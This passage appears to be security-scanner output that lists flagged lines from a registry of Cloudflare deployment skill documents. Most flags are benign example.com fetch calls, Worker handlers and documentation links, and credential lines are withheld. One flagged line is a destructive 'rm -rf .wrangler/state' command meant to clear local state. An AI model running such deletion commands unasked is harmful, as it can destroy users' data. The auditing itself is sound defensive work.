  • Network accessline 28
    it("responds with 200", async () => {     const response = await worker.fetch("http://example.com");
  • Network accessline 29
    const response = await worker.fetch("http://example.com");
  • Access to secretsline 71
    [Credential-related source omitted]
  • Network accessline 82
    // Platform APIs await caches.default.put("https://example.com", new Response("cached"));
  • Network accessline 83
    await caches.default.put("https://example.com", new Response("cached"));
  • Network accessline 165
    const response = await api.fetch("http://example.com/api/login");
  • Network accessline 166
    // API Worker calls AUTH Worker via env.AUTH.fetch()

packages/autoskills/skills-registry/cloudflare-deploy/references/wrangler/auth.md

  • Network accessline 29
    1. Go to: **https://dash.cloudflare.com/profile/api-tokens**
  • Access to secretsline 36
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/wrangler/configuration.md

  • Access to secretsline 15
    [Credential-related source omitted]
  • Network accessline 59
    // Variables { "vars": { "API_URL": "https://api.example.com" } }
  • Network accessline 60
    { "vars": { "API_URL": "https://api.example.com" } }
  • Network accessline 127
    export default {   async fetch(request, env) {
  • Network accessline 128
    async fetch(request, env) {
  • Network accessline 129
    // Try serving static asset first     const asset = await env.ASSETS.fetch(request);     if (asset.status !== 404) return asset;
  • Network accessline 130
    const asset = await env.ASSETS.fetch(request);

packages/autoskills/skills-registry/cloudflare-deploy/references/wrangler/gotchas.md

  • Network accessline 111
    **Cause:** Mock function not returning Response **Solution:** Always return Response, use `fetch(req)` for passthrough:
  • Network accessline 112
    **Solution:** Always return Response, use `fetch(req)` for passthrough:
  • Network accessline 117
    return new Response("mocked");     }     return fetch(req);  // Required for non-mocked requests
  • Network accessline 118
    }     return fetch(req);  // Required for non-mocked requests   }
  • Network accessline 119
    return fetch(req);  // Required for non-mocked requests
  • Dangerous shell operationline 166
    rm -rf .wrangler/state     # Clear local state
  • Network accessline 186
    - Docs: https://developers.cloudflare.com/workers/wrangler/
  • Network accessline 187
    - Config: https://developers.cloudflare.com/workers/wrangler/configuration/
  • Network accessline 188
    - Commands: https://developers.cloudflare.com/workers/wrangler/commands/
  • Network accessline 189
    - Examples: https://github.com/cloudflare/workers-sdk/tree/main/templates
  • Network accessline 190
    - Discord: https://discord.gg/cloudflaredev

packages/autoskills/skills-registry/cloudflare-deploy/references/wrangler/patterns.md

  • Network accessline 89
    it("creates user", async () => {     const response = await worker.fetch("http://example.com/api/users", {
  • Network accessline 90
    const response = await worker.fetch("http://example.com/api/users", {
  • Network accessline 116
    it("fetches users", async () => {   const response = await SELF.fetch("https://example.com/api/users");
  • Network accessline 117
    const response = await SELF.fetch("https://example.com/api/users");
  • Network accessline 136
    // Test API calling AUTH const response = await apiWorker.fetch("http://example.com/api/protected");
  • Network accessline 137
    const response = await apiWorker.fetch("http://example.com/api/protected");
  • Network accessline 152
    });     }     return fetch(req);  // Pass through other requests
  • Network accessline 153
    }     return fetch(req);  // Pass through other requests   }
  • Network accessline 154
    return fetch(req);  // Pass through other requests
  • Network accessline 158
    // Test Worker that calls external API const response = await worker.fetch("http://example.com/proxy");
  • Network accessline 159
    const response = await worker.fetch("http://example.com/proxy");
  • Network accessline 179
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 180
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 183
    [Credential-related source omitted]
  • Network accessline 193
    export default {   async fetch(request, env) {
  • Network accessline 194
    async fetch(request, env) {
  • Network accessline 197
    return Response.json({ data: "from API" });     }     return env.ASSETS.fetch(request);  // Static assets
  • Network accessline 198
    }     return env.ASSETS.fetch(request);  // Static assets   }
  • Network accessline 199
    return env.ASSETS.fetch(request);  // Static assets

packages/autoskills/skills-registry/cloudflare-deploy/references/zaraz/README.md

  • Network accessline 105
    - [Zaraz Docs](https://developers.cloudflare.com/zaraz/)
  • Network accessline 106
    - [Web API](https://developers.cloudflare.com/zaraz/web-api/)
  • Network accessline 107
    - [Managed Components](https://developers.cloudflare.com/zaraz/advanced/load-custom-managed-component/)

packages/autoskills/skills-registry/cloudflare-deploy/references/zaraz/patterns.md

  • Network accessline 46
    export default {   async fetch(request, env) {
  • Network accessline 47
    async fetch(request, env) {

packages/autoskills/skills-registry/cloudflare/SKILL.md

  • Network accessline 14
    - **The project has `wrangler.jsonc`, `wrangler.json`, or `wrangler.toml`, and no `cloudflare.config.ts`:** use Wrangler for development and deployment, and load the `wrangler` skill. `cf` resource commands work alongside it. Run `cf migrat
  • Network accessline 15
    - **Every other project, including a new project or one with no Cloudflare configuration:** use `cf`. Load the `cf-cli` skill if it is installed; otherwise follow [Use cf with coding agents](https://developers.cloudflare.com/cf/agents/index
  • Network accessline 17
    The product guidance below applies with either CLI. Where it names a Wrangler command or file, find the `cf` equivalent with `cf cli search "<task>"` or the [Wrangler to cf reference](https://developers.cloudflare.com/cf/wrangler/reference/
  • Network accessline 28
    **Recommend Workers and [Workers Static Assets](https://developers.cloudflare.com/workers/static-assets/index.md) for new websites and applications, including static sites, SPAs, and full-stack apps.** Workers can do everything Pages can do
  • Network accessline 30
    Find the row closest to the user's task. Products can appear in multiple rows, and a solution can combine products. Read the linked reference or docs before implementing; load named skills when installed. Local links open bundled references
  • Network accessline 32
    | What you need to do | Product or tool to consider | When to choose it | Skill or reference | | --- | --- | --- | --- | | Choose the building blocks for an AI application | AI overview | Compare Cloudflare's AI services before choosing inf
  • Network accessline 33
    | --- | --- | --- | --- | | Choose the building blocks for an AI application | AI overview | Compare Cloudflare's AI services before choosing inference, retrieval, or agent tooling | [AI docs](https://developers.cloudflare.com/ai/index.md) 
  • Network accessline 34
    | Choose the building blocks for an AI application | AI overview | Compare Cloudflare's AI services before choosing inference, retrieval, or agent tooling | [AI docs](https://developers.cloudflare.com/ai/index.md) |
  • Network accessline 35
    | Choose infrastructure for a customer-facing platform | Cloudflare for Platforms | Compare running customer code with serving an app on customer domains | [Platform overview](https://developers.cloudflare.com/cloudflare-for-platforms/index
  • Network accessline 36
    | Choose an approach to live audio and video | Realtime | Compare application SDKs, media infrastructure, and connectivity relays | [Realtime overview](https://developers.cloudflare.com/realtime/index.md) |
  • Network accessline 37
    | Start a Worker or framework project | C3 | Scaffold a project using the appropriate framework template | [C3](references/c3/README.md); `wrangler` skill | | Build or deploy a Next.js app on Cloudflare | vinext + Workers | Use vinext rathe
  • Network accessline 38
    | Build or deploy a Next.js app on Cloudflare | vinext + Workers | Use vinext rather than OpenNext for new projects | [nextjs-on-cloudflare skill](../nextjs-on-cloudflare/SKILL.md); [Next.js docs](https://developers.cloudflare.com/workers/f
  • Network accessline 39
    | Host a new static site, SPA, or full-stack app | Workers + Workers Static Assets | Serve site files and add server-side logic where needed | [Static Assets](references/static-assets/README.md); `workers-best-practices` skill | | Build an 
  • Network accessline 40
    | Build an API or handle webhooks | Workers | Run request handlers with access to Cloudflare services | `workers-best-practices` skill; [Workers docs](https://developers.cloudflare.com/workers/index.md) |
  • Network accessline 41
    | Control team, CI, or service-account access to Developer Platform resources | Roles, scopes, and permission policies | Choose the least-privilege role and a scope supported for the member, User Group, or API token | [Roles and permissions
  • Network accessline 42
    | Maintain an existing Pages deployment | Pages + Pages Functions | Update an existing site or its server endpoints; use Workers for new projects | [Pages](references/pages/README.md); [Pages Functions](references/pages-functions/README.md)
  • Network accessline 43
    | Move a Pages project to Workers | Workers + Workers Static Assets | The task calls for migrating the hosting platform | [Pages migration guide](https://developers.cloudflare.com/workers/static-assets/migration-guides/migrate-from-pages/in
  • Network accessline 44
    | Let customers deploy code on your platform | Workers for Platforms | Run and manage customer Workers with per-customer controls | [Workers for Platforms docs](https://developers.cloudflare.com/cloudflare-for-platforms/workers-for-platform
  • Network accessline 45
    | Let customers use their own domains with your app | Cloudflare for SaaS | Manage custom hostnames, TLS certificates, and origin routing; check hostname validation and apex-domain plan requirements. Combine with Workers for Platforms when 
  • Network accessline 46
    | Connect a Worker to storage or another service | Bindings | Give the Worker access to configured resources through its environment | [Bindings](references/bindings/README.md) | | Run containerized services or Linux software | Containers |
  • Network accessline 47
    | Run containerized services or Linux software | Containers | The workload needs a container image or software outside the Workers runtime | [Containers](references/containers/README.md) | | Execute generated or untrusted code, build Code M
  • Network accessline 48
    | Execute generated or untrusted code, build Code Mode tools, or create on-demand previews | Dynamic Workers | Load code at runtime in isolated Workers; check bindings, egress controls, and resource limits. Choose Sandbox when execution nee
  • Network accessline 49
    | Give an agent a shell, filesystem, or interactive development environment | Sandbox SDK | Code execution needs a Linux environment or container tools; inspect the package line first | `sandbox-next` for new or preview projects; `sandbox-s
  • Network accessline 50
    | Upgrade a stable Sandbox app to the preview API | Sandbox SDK | The user wants the stable-to-next migration | `sandbox-migrate-to-next` skill; [migration guide](https://developers.cloudflare.com/sandbox/sdk/migrate/index.md) |
  • Network accessline 51
    | Coordinate chat rooms, games, collaborative documents, or bookings | Durable Objects | Operations need shared state and coordination per room, document, or entity | `durable-objects` skill; [Durable Objects docs](https://developers.cloudf
  • Network accessline 52
    | Store and recover state inside a Durable Object | Durable Object storage | Choose storage APIs, transactions, and recovery for coordinated per-entity data | `durable-objects` skill; [SQLite storage API](https://developers.cloudflare.com/d
  • Network accessline 55
    | Distribute configuration or other key-value data | KV | Read-heavy key-value access fits the workload's consistency requirements | [KV](references/kv/README.md) | | Store uploads, downloads, or large objects | R2 | Store files by object k
  • Network accessline 56
    | Store uploads, downloads, or large objects | R2 | Store files by object key; pair with D1 when searchable metadata needs SQL | [R2](references/r2/README.md) | | Store versioned file trees, agent checkpoints, or repositories | Artifacts | 
  • Network accessline 57
    | Store versioned file trees, agent checkpoints, or repositories | Artifacts | Files need versioning and Git-compatible access; currently closed beta, so confirm access before implementation | [Artifacts docs](https://developers.cloudflare.
  • Network accessline 58
    | Ingest event streams into R2 | Basin Pipelines | Transform and deliver streaming records into R2 | `basin` skill; [Basin Pipelines](https://developers.cloudflare.com/basin-pipelines/index.md) |
  • Network accessline 59
    | Manage Iceberg tables in R2 | Basin Catalog | Organize tables for analytics and compatible query engines | `basin` skill; [Basin Catalog](https://developers.cloudflare.com/basin-catalog/index.md) |
  • Network accessline 60
    | Query Iceberg tables with SQL | Basin SQL | Analyze tables in Basin Catalog | `basin` skill; [Basin SQL](https://developers.cloudflare.com/basin-sql/index.md) |
  • Network accessline 61
    | Keep a durable event log with independent readers | K2 Streams | Produce records from Workers or HTTP, then consume with subscriptions | `k2` skill; [K2 docs](https://developers.cloudflare.com/k2/index.md) |
  • Network accessline 62
    | Cache application responses | Workers Cache | Default for application caching; check the patterns and limitations before choosing alternatives | [Workers Cache](https://developers.cloudflare.com/workers/cache/index.md); see caching guidan
  • Network accessline 63
    | Accelerate an existing website and control cached content | Cache/CDN | Configure caching for a proxied origin using Cache Rules, expiration settings, and purging | [Cache/CDN docs](https://developers.cloudflare.com/cache/index.md) |
  • Network accessline 64
    | Keep origin content in a persistent cache | Cache Reserve | Reduce origin fetches with persistent CDN cache storage | [Cache Reserve docs](https://developers.cloudflare.com/cache/advanced-configuration/cache-reserve/index.md) |
  • Network accessline 70
    | Build custom semantic search or retrieval | Vectorize + Workers AI | Control embeddings, indexing, and retrieval rather than using a managed pipeline | [Vectorize](references/vectorize/README.md); [Workers AI](references/workers-ai/README
  • Network accessline 71
    | Observe and control requests to AI providers | AI Gateway | Add inference analytics, caching, and request controls | [AI Gateway](references/ai-gateway/README.md) | | Build stateful agents with tools, scheduling, or chat | Agents SDK | Im
  • Network accessline 72
    | Build stateful agents with tools, scheduling, or chat | Agents SDK | Implement agent behavior on Cloudflare; add Dynamic Workers or Sandbox for the required execution runtime | `agents-sdk` skill; [Agents docs](https://developers.cloudfla
  • Network accessline 73
    | Build durable agents with TypeScript hooks | Flue | Use an open agent framework with Cloudflare and Node.js targets | [Flue](https://flueframework.com/); [getting started](https://flueframework.com/docs/guide/getting-started/); [Cloudflar
  • Network accessline 74
    | Expose tools through a remote MCP server | Workers + Agents SDK | Publish tools for MCP clients, with authentication appropriate to the service | `agents-sdk` skill, its `references/mcp.md`; [MCP docs](https://developers.cloudflare.com/ag
  • Network accessline 75
    | Automate browsers, take screenshots, or extract rendered pages | Browser Run | The task requires a browser rather than a plain HTTP request | [Browser Run](references/browser-rendering/README.md) | | Connect a domain, configure DNS record
  • Network accessline 76
    | Connect a domain, configure DNS records, or troubleshoot resolution | DNS | Manage authoritative records and choose whether traffic is proxied through Cloudflare | [DNS docs](https://developers.cloudflare.com/dns/index.md) |
  • Network accessline 77
    | Configure HTTPS and certificates | SSL/TLS | Secure connections from visitors to Cloudflare and from Cloudflare to the origin | [SSL/TLS docs](https://developers.cloudflare.com/ssl/index.md) |
  • Network accessline 78
    | Distribute traffic across origins and fail over unhealthy servers | Load Balancing | Use health checks and traffic steering for multiple origin servers | [Load Balancing docs](https://developers.cloudflare.com/load-balancing/index.md) |
  • Network accessline 79
    | Connect an existing server to Cloudflare | Cloudflare Tunnel | Reach an origin without a publicly routable IP address | [Tunnel](references/tunnel/README.md) | | Connect Workers to private services | Workers VPC | Access services in priva
  • Network accessline 80
    | Connect Workers to private services | Workers VPC | Access services in private networks from a Worker | [Workers VPC docs](https://developers.cloudflare.com/workers-vpc/index.md) |
  • Network accessline 81
    | Require employee login before accessing an internal app | Access | Put identity-based access policies in front of an internal application | `cloudflare-one` skill; [Access docs](https://developers.cloudflare.com/cloudflare-one/access-cont
  • Network accessline 82
    | Protect access to internal applications and networks | Cloudflare One | Apply identity and network access policies | `cloudflare-one` skill; [Cloudflare One docs](https://developers.cloudflare.com/cloudflare-one/index.md) |
  • Network accessline 83
    | Migrate existing access and network security configurations | Cloudflare One | The task is a supported migration to Cloudflare One | `cloudflare-one-migrations` skill; [Cloudflare One docs](https://developers.cloudflare.com/cloudflare-one
  • Network accessline 84
    | Proxy a TCP or UDP application | Spectrum | Protect and accelerate non-HTTP application traffic | [Spectrum docs](https://developers.cloudflare.com/spectrum/index.md) |
  • Network accessline 85
    | Connect a network directly to Cloudflare | Network Interconnect | Dedicated network connectivity is required | [Network Interconnect docs](https://developers.cloudflare.com/network-interconnect/index.md) |
  • Network accessline 86
    | Improve routing across the network | Argo Smart Routing | Optimize traffic paths to the origin | [Argo Smart Routing docs](https://developers.cloudflare.com/argo-smart-routing/index.md) |
  • Network accessline 87
    | Reduce Worker-to-backend latency | Smart Placement | Place Worker execution closer to the backends it calls | [Smart Placement](references/smart-placement/README.md) | | Redirect URLs, rewrite paths or headers, or change origin routing | 
  • Network accessline 88
    | Redirect URLs, rewrite paths or headers, or change origin routing | Rules | Use Redirect, Transform, or Origin Rules when configuration can express the required behavior | [Rules docs](https://developers.cloudflare.com/rules/index.md) |
  • Network accessline 89
    | Make small HTTP request or response changes | Snippets | Lightweight edge logic meets the need | [Snippets docs](https://developers.cloudflare.com/rules/snippets/index.md) | | Protect forms from automated abuse | Turnstile | Add bot chall
  • Network accessline 90
    | Protect forms from automated abuse | Turnstile | Add bot challenges and server-side token validation | `turnstile-spin` skill; [Turnstile docs](https://developers.cloudflare.com/turnstile/index.md) | | Filter malicious web requests | WAF 
  • Network accessline 91
    | Filter malicious web requests | WAF | Apply application-layer rules and managed protections | [WAF](references/waf/README.md) | | Protect services from denial-of-service attacks | DDoS Protection | Mitigate attacks at the relevant network
  • Network accessline 92
    | Protect services from denial-of-service attacks | DDoS Protection | Mitigate attacks at the relevant network or application layer | [DDoS protection docs](https://developers.cloudflare.com/ddos-protection/index.md) |
  • Network accessline 93
    | Detect and control automated traffic | Bot Management | Make request decisions based on bot detection | [Bot Management docs](https://developers.cloudflare.com/bots/index.md) |
  • Network accessline 94
    | Discover and protect API endpoints | API Shield | Apply API-specific protections and validation | [API Shield docs](https://developers.cloudflare.com/api-shield/index.md) |
  • Network accessline 95
    | Queue visitors during traffic spikes | Waiting Room | Control admission when application capacity is limited | [Waiting Room docs](https://developers.cloudflare.com/waiting-room/index.md) |
  • Network accessline 96
    | Store a Worker's API keys and credentials | Workers secrets | Bind secrets to a Worker without committing values to source | `wrangler` skill; [secrets docs](https://developers.cloudflare.com/workers/configuration/secrets/index.md) |
  • Network accessline 97
    | Share managed secrets across services | Secrets Store | Manage reusable account-level secrets | [Secrets Store](references/secrets-store/README.md) | | Control where data is processed and stored | Data Localization Suite | Evaluate region
  • Network accessline 98
    | Control where data is processed and stored | Data Localization Suite | Evaluate regional processing and storage controls against the actual requirements | [Data Localization docs](https://developers.cloudflare.com/data-localization/index.
  • Network accessline 99
    | Prove a claim without identifying or tracking the user | Privacy Pass | Use privacy-preserving tokens in a supported integration | [Privacy Pass docs](https://developers.cloudflare.com/privacy-pass/index.md) |
  • Network accessline 100
    | Store, resize, transform, and deliver images | Cloudflare Images | Use managed image processing and delivery | [Images](references/images/README.md) | | Encode, store, and deliver live or on-demand video | Stream | Use managed video infra
  • Network accessline 101
    | Encode, store, and deliver live or on-demand video | Stream | Use managed video infrastructure | [Stream](references/stream/README.md) | | Build an audio/video calling application with SDKs | RealtimeKit | Use application-level SDKs for c
  • Network accessline 102
    | Build an audio/video calling application with SDKs | RealtimeKit | Use application-level SDKs for calls and meetings | [RealtimeKit docs](https://developers.cloudflare.com/realtime/realtimekit/index.md) |
  • Network accessline 103
    | Build custom real-time media infrastructure | Realtime SFU | Control the application while using a selective forwarding unit for media | [Realtime SFU docs](https://developers.cloudflare.com/realtime/sfu/index.md) |
  • Network accessline 104
    | Relay WebRTC connections through restrictive networks | TURN Service | Clients need a connectivity relay | [TURN](references/turn/README.md) | | Deliver live media over QUIC | MoQ | Use the Media over QUIC protocol; check current compatib
  • Network accessline 105
    | Deliver live media over QUIC | MoQ | Use the Media over QUIC protocol; check current compatibility and availability | [MoQ docs](https://developers.cloudflare.com/moq/index.md) |
  • Network accessline 106
    | Send transactional email | Email Service | Send application-generated messages | `cloudflare-email-service` skill; [Email Service docs](https://developers.cloudflare.com/email-service/index.md) |
  • Network accessline 107
    | Forward incoming email | Email Routing | Route addresses on a domain to destination mailboxes | `cloudflare-email-service` skill; [Route emails](https://developers.cloudflare.com/email-service/get-started/route-emails/index.md) |
  • Network accessline 108
    | Process incoming email in code | Email Workers | Apply custom logic to inbound messages | `cloudflare-email-service` skill; [Email handler](https://developers.cloudflare.com/email-service/api/route-emails/email-handler/index.md) |
  • Network accessline 109
    | Manage third-party tags and scripts | Zaraz | Load and manage third-party tools through Cloudflare | [Zaraz](references/zaraz/README.md) | | Run locally and manage resources from the CLI | Cloudflare CLI (`cf`); Wrangler for existing Wran
  • Network accessline 110
    | Run locally and manage resources from the CLI | Cloudflare CLI (`cf`); Wrangler for existing Wrangler projects | Develop, configure, deploy, and inspect the intended account and environment; choose the CLI as described in [Choose the CLI]
  • Network accessline 111
    | Test Worker behavior before deployment | Workers testing tools | Choose runtime tests or integration tests for the affected behavior | [Testing docs](https://developers.cloudflare.com/workers/testing/index.md); `durable-objects` skill for
  • Network accessline 112
    | Embed local Worker simulation in tooling | Miniflare | A programmatic emulator is needed for a custom development or test harness | [Miniflare](references/miniflare/README.md) | | Run or investigate the underlying Workers runtime | worker
  • Network accessline 113
    | Run or investigate the underlying Workers runtime | workerd | Work directly with the runtime outside normal managed deployment | [workerd](references/workerd/README.md) | | Try a small Worker in the browser | Workers Playground | Explore 
  • Network accessline 114
    | Try a small Worker in the browser | Workers Playground | Explore or share a minimal example without local setup | [Workers Playground docs](https://developers.cloudflare.com/workers/playground/index.md) |
  • Network accessline 115
    | Build and deploy whenever code is pushed | Workers Builds | Connect a Git repository to automated builds and deployments | [Builds docs](https://developers.cloudflare.com/workers/ci-cd/builds/index.md) |
  • Network accessline 116
    | Test a branch or pull request in an isolated environment | Workers Previews | Create a branch environment under the same Worker with its own settings and URLs; check which bound resources are isolated or shared | [Previews docs](https://d
  • Network accessline 117
    | Inspect an uploaded version, release it gradually, or roll back code | Workers versions and deployments | Manage application releases that use production resources; rollback does not restore connected resource data | [Deployment docs](htt
  • Network accessline 118
    | Release a feature gradually or target user groups | Flagship | Change feature availability with targeting and percentage rollouts | [Flagship docs](https://developers.cloudflare.com/flagship/index.md) |
  • Network accessline 119
    | Manage infrastructure as code | Terraform or Pulumi | Use Terraform for declarative configuration or Pulumi for infrastructure in programming languages | [Terraform docs](https://developers.cloudflare.com/terraform/index.md); [Pulumi docs
  • Network accessline 120
    | Automate account or product configuration through an API | Cloudflare REST API | Manage resources programmatically; prefer bindings for supported operations inside Workers | [REST API docs](https://developers.cloudflare.com/fundamentals/a
  • Network accessline 122
    | Profile CPU usage or memory allocations in deployed Workers or Durable Objects | Workers profiling | Investigate CPU and memory issues in production | [workers-profiling skill](../workers-profiling/SKILL.md) | | Process Worker execution e
  • Network accessline 123
    | Process Worker execution events in code | Tail Workers | Build custom log or exception processing | [Tail Workers](references/tail-workers/README.md) | | Export Worker logs to another system | Workers Logpush | Deliver logs to a supported
  • Network accessline 124
    | Export Worker logs to another system | Workers Logpush | Deliver logs to a supported external destination | [Logpush docs](https://developers.cloudflare.com/workers/observability/logs/logpush/index.md) |
  • Network accessline 125
    | Measure custom application events | Workers Analytics Engine | Analyze high-cardinality event data written from Workers | [Analytics Engine](references/analytics-engine/README.md) | | Measure website usage and visitor performance | Cloudf
  • Network accessline 126
    | Measure website usage and visitor performance | Cloudflare Web Analytics | Add website analytics and real-user measurements | [Web Analytics docs](https://developers.cloudflare.com/web-analytics/index.md) |
  • Network accessline 127
    | Query metrics across Cloudflare products | GraphQL Analytics API | Retrieve product analytics programmatically | [GraphQL Analytics API](references/graphql-api/README.md) | | Audit page speed and find loading bottlenecks | Web performance
  • Network accessline 128
    | Audit page speed and find loading bottlenecks | Web performance tools | Measure and improve the site's actual browser performance | `web-perf` skill; [Web Analytics docs](https://developers.cloudflare.com/web-analytics/index.md) |
  • Network accessline 129
    | Ask questions about an account or diagnose its configuration in the dashboard | Agent Lee | Use the dashboard's AI assistant; check current account eligibility | [Agent Lee docs](https://developers.cloudflare.com/agent-lee/index.md) |
  • Network accessline 135
    Use the [Cloudflare product directory](https://developers.cloudflare.com/directory/index.md) for additional products and their current docs. Follow links to the specific feature or API involved. Use [Choose a data or storage product](https:
  • Network accessline 139
    Prefer [Workers Cache](https://developers.cloudflare.com/workers/cache/index.md) for caching, including [advanced patterns](https://developers.cloudflare.com/workers/cache/examples/index.md) using cached inner entrypoints and programmatic i
  • Network accessline 149
    Cloudflare documentation: <https://developers.cloudflare.com/llms.txt>
  • Network accessline 150
    Cloudflare changelog: <https://developers.cloudflare.com/changelog/index.md>

packages/autoskills/skills-registry/cloudflare/references/ai-gateway/README.md

  • Network accessline 17
    For new single-model calls, start with the [REST API](https://developers.cloudflare.com/ai-gateway/usage/rest-api/index.md) or [Workers bindings](https://developers.cloudflare.com/ai-gateway/usage/worker-binding-methods/index.md), depending
  • Network accessline 19
    The [legacy Unified API](https://developers.cloudflare.com/ai-gateway/usage/chat-completion/index.md) is deprecated for single-model calls but remains required for dynamic routes. Check the task before changing an existing endpoint.
  • Network accessline 25
    - [Workers AI](../workers-ai/README.md) — model inference. - [Agents SDK documentation](https://developers.cloudflare.com/agents/index.md) — stateful agents.
  • Network accessline 26
    - [Agents SDK documentation](https://developers.cloudflare.com/agents/index.md) — stateful agents.

packages/autoskills/skills-registry/cloudflare/references/ai-gateway/configuration.md

  • Network accessline 5
    | Task | Current documentation | |------|-----------------------| | Send a first request and locate the account/gateway identifiers | [Getting started](https://developers.cloudflare.com/ai-gateway/get-started/index.md) |
  • Network accessline 6
    |------|-----------------------| | Send a first request and locate the account/gateway identifiers | [Getting started](https://developers.cloudflare.com/ai-gateway/get-started/index.md) | | Create, update, or delete a gateway; use the defau
  • Network accessline 7
    | Send a first request and locate the account/gateway identifiers | [Getting started](https://developers.cloudflare.com/ai-gateway/get-started/index.md) |
  • Network accessline 8
    | Create, update, or delete a gateway; use the default gateway | [Manage gateways](https://developers.cloudflare.com/ai-gateway/configuration/manage-gateway/index.md) |
  • Network accessline 9
    | Manage gateways programmatically | [Gateway management API](https://developers.cloudflare.com/api/resources/ai_gateway/methods/list/index.md) |
  • Network accessline 10
    | Protect gateway access and choose token permissions for the endpoint | [Authenticated Gateway](https://developers.cloudflare.com/ai-gateway/configuration/authentication/index.md) and [REST API authentication](https://developers.cloudflare
  • Network accessline 11
    | Configure Wrangler and an AI binding | [Workers AI binding setup](https://developers.cloudflare.com/ai-gateway/integrations/aig-workers-ai-binding/index.md) and [binding methods](https://developers.cloudflare.com/ai-gateway/usage/worker-b
  • Network accessline 12
    | Store provider keys, select aliases, or diagnose missing credentials | [Bring Your Own Keys](https://developers.cloudflare.com/ai-gateway/configuration/bring-your-own-keys/index.md) |
  • Network accessline 13
    | Use Cloudflare billing or determine which credentials take precedence | [Unified Billing](https://developers.cloudflare.com/ai-gateway/features/unified-billing/index.md) |
  • Network accessline 14
    | Supply provider credentials with each request | [Provider guides](https://developers.cloudflare.com/ai-gateway/usage/providers/index.md) |

packages/autoskills/skills-registry/cloudflare/references/ai-gateway/dynamic-routing.md

  • Network accessline 5
    | Task | Current documentation | |------|-----------------------| | Design conditional routes, A/B splits, quotas, model fallbacks, and version rollbacks | [Dynamic routing](https://developers.cloudflare.com/ai-gateway/features/dynamic-rout
  • Network accessline 6
    |------|-----------------------| | Design conditional routes, A/B splits, quotas, model fallbacks, and version rollbacks | [Dynamic routing](https://developers.cloudflare.com/ai-gateway/features/dynamic-routing/index.md) | | Invoke a route 
  • Network accessline 7
    | Design conditional routes, A/B splits, quotas, model fallbacks, and version rollbacks | [Dynamic routing](https://developers.cloudflare.com/ai-gateway/features/dynamic-routing/index.md) |
  • Network accessline 8
    | Invoke a route from an SDK, HTTP request, or Worker; inspect route response metadata | [Using a dynamic route](https://developers.cloudflare.com/ai-gateway/features/dynamic-routing/usage/index.md) |
  • Network accessline 9
    | Define route elements and connections programmatically | [JSON configuration](https://developers.cloudflare.com/ai-gateway/features/dynamic-routing/json-configuration/index.md) |
  • Network accessline 10
    | Provide metadata used by routing conditions | [Custom metadata](https://developers.cloudflare.com/ai-gateway/observability/custom-metadata/index.md) |
  • Network accessline 11
    | Configure model/provider fallbacks | [Fallbacks](https://developers.cloudflare.com/ai-gateway/configuration/fallbacks/index.md) |
  • Network accessline 12
    | Configure retries, backoff, and timeouts | [Request handling](https://developers.cloudflare.com/ai-gateway/configuration/request-handling/index.md) |
  • Network accessline 13
    | Inspect request outcomes, costs, and errors | [Analytics](https://developers.cloudflare.com/ai-gateway/observability/analytics/index.md) and [logging](https://developers.cloudflare.com/ai-gateway/observability/logging/index.md) |
  • Network accessline 15
    Check the usage guide's authentication and stored-key prerequisites. Dynamic routes still use the [Unified API compatibility endpoint](https://developers.cloudflare.com/ai-gateway/usage/chat-completion/index.md); its single-model deprecatio

packages/autoskills/skills-registry/cloudflare/references/ai-gateway/features.md

  • Network accessline 5
    | Task | Current documentation | |------|-----------------------| | Enable caching, set TTLs, bypass the cache, or choose a custom cache key | [Caching](https://developers.cloudflare.com/ai-gateway/features/caching/index.md) |
  • Network accessline 6
    |------|-----------------------| | Enable caching, set TTLs, bypass the cache, or choose a custom cache key | [Caching](https://developers.cloudflare.com/ai-gateway/features/caching/index.md) | | Control request volume with fixed or sliding
  • Network accessline 7
    | Enable caching, set TTLs, bypass the cache, or choose a custom cache key | [Caching](https://developers.cloudflare.com/ai-gateway/features/caching/index.md) |
  • Network accessline 8
    | Control request volume with fixed or sliding limits | [Rate limiting](https://developers.cloudflare.com/ai-gateway/features/rate-limiting/index.md) |
  • Network accessline 9
    | Enforce cost budgets | [Spend limits](https://developers.cloudflare.com/ai-gateway/features/spend-limits/index.md) |
  • Network accessline 10
    | Evaluate and enforce content policies | [Guardrails setup](https://developers.cloudflare.com/ai-gateway/features/guardrails/set-up-guardrail/index.md) and [usage considerations](https://developers.cloudflare.com/ai-gateway/features/guardr
  • Network accessline 11
    | Detect sensitive data in prompts and responses | [DLP setup](https://developers.cloudflare.com/ai-gateway/features/dlp/set-up-dlp/index.md) |
  • Network accessline 12
    | Choose provider keys or Cloudflare billing | [BYOK](https://developers.cloudflare.com/ai-gateway/configuration/bring-your-own-keys/index.md) and [Unified Billing](https://developers.cloudflare.com/ai-gateway/features/unified-billing/index
  • Network accessline 13
    | Configure provider data retention for Unified Billing | [Zero Data Retention](https://developers.cloudflare.com/ai-gateway/features/unified-billing/index.md#zero-data-retention-zdr) |
  • Network accessline 14
    | Configure log collection, payload storage, and retention | [Logging](https://developers.cloudflare.com/ai-gateway/observability/logging/index.md) |
  • Network accessline 15
    | Export logs | [Workers Logpush](https://developers.cloudflare.com/ai-gateway/observability/logging/logpush/index.md) |
  • Network accessline 16
    | Attach request metadata for tracking and routing | [Custom metadata](https://developers.cloudflare.com/ai-gateway/observability/custom-metadata/index.md) |
  • Network accessline 17
    | Override model costs | [Custom costs](https://developers.cloudflare.com/ai-gateway/configuration/custom-costs/index.md) |
  • Network accessline 18
    | Check supported providers, quotas, or pricing | [Provider guides](https://developers.cloudflare.com/ai-gateway/usage/providers/index.md), [limits](https://developers.cloudflare.com/ai-gateway/reference/limits/index.md), and [pricing](http

packages/autoskills/skills-registry/cloudflare/references/ai-gateway/sdk-integration.md

  • Network accessline 5
    | Integration task | Current documentation | |------------------|-----------------------| | New single-model HTTP calls or OpenAI-compatible clients | [REST API](https://developers.cloudflare.com/ai-gateway/usage/rest-api/index.md) |
  • Network accessline 6
    |------------------|-----------------------| | New single-model HTTP calls or OpenAI-compatible clients | [REST API](https://developers.cloudflare.com/ai-gateway/usage/rest-api/index.md) | | Vercel AI SDK, provider adapters, and fallback pr
  • Network accessline 7
    | New single-model HTTP calls or OpenAI-compatible clients | [REST API](https://developers.cloudflare.com/ai-gateway/usage/rest-api/index.md) |
  • Network accessline 8
